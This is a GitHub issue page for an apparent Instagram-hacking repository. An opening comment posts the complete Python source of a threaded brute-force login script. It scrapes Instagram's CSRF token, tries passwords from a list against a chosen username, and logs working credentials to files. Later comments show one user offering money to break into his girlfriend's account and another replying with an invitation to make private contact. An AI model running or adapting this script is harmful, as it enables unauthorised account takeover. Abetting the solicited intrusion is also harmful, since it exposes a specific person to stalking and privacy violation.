ar-42 / instahack

Script hack instagram terbaru
162 stars 73 forks source link

fix at line 69 #11

Open 0xbitx opened 10 months ago

0xbitx commented 10 months ago

from future import absolute_import from future import print_function import requests, sys, threading, time, os, random from random import randint from six.moves import input CheckVersion = str(sys.version) import re from datetime import datetime

print('''

Author : AyipBontos Website : https://termux.id Support : Visit my website to help me

Instahack is a tool for hacking Instagram accounts with bruteforce techniques. For its use, check the link below: https://termux.id/hack-instagram-termux

      good luck (+_+)

       """""""""""""""""""""""""""""""""""""""""" 

''')

class InstaBrute(object): def init(self):

    try:
        user = input('username : ')
        Combo = input('passList : ')
        print('\n----------------------------')

    except:
        print(' The tool was arrested exit ')
        sys.exit()

    with open(Combo, 'r') as x:
        Combolist = x.read().splitlines()
    thread = []
    self.Coutprox = 0
    for combo in Combolist:
        password = combo.split(':')[0]
        t = threading.Thread(target=self.New_Br, args=(user, password))
        t.start()
        thread.append(t)
        time.sleep(0.9)
    for j in thread:
        j.join()

def cls(self):
    linux = 'clear'
    windows = 'cls'
    os.system([linux, windows][os.name == 'nt'])

def New_Br(self,user,pwd):
    link = 'https://www.instagram.com/accounts/login/'
    login_url = 'https://www.instagram.com/accounts/login/ajax/'

    time = int(datetime.now().timestamp())

    payload = {
        'username': user,
        'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:{time}:{pwd}',
        'queryParams': {},
        'optIntoOneTap': 'false'
    }

    with requests.Session() as s:
        r = s.get(link)
        csrf = re.findall(r"csrf_token\":\"(.*?)\"", r.text)[0]
        r = s.post(login_url, data=payload, headers={
            "User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36",
            "X-Requested-With": "XMLHttpRequest",
            "Referer": "https://www.instagram.com/accounts/login/",
            "x-csrftoken": csrf
        })
        print(f'{user}:{pwd}\n----------------------------')

        if 'authenticated": true' in r.text:
            print(('' + user + ':' + pwd + ' --> Good hack '))
            with open('good.txt', 'a') as x:
                x.write(user + ':' + pwd + '\n')
        elif 'two_factor_required' in r.text:   
            print(('' + user + ':' + pwd + ' -->  Good It has to be checked '))
            with open('results_NeedVerfiy.txt', 'a') as x:
                x.write(user + ':' + pwd + '\n')

InstaBrute()

oshaajadeh commented 6 months ago

can u help me to hack my gf instagram acc? about personal problem. i'll pay u

Znation30 commented 6 months ago

Try contacting me further via the social media application you have

Pada Sen, 18 Mar 2024 09.29, oshaajadeh @.***> menulis:

can u help me to hack my gf instagram acc? about personal problem. i'll pay u

— Reply to this email directly, view it on GitHub https://github.com/ar-42/instahack/issues/11#issuecomment-2002764550, or unsubscribe https://github.com/notifications/unsubscribe-auth/AM34ICAYHYX6QC5LIEHCI23YYZGQ7AVCNFSM6AAAAABARI3N42VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDAMBSG43DINJVGA . You are receiving this because you are subscribed to this thread.Message ID: @.***>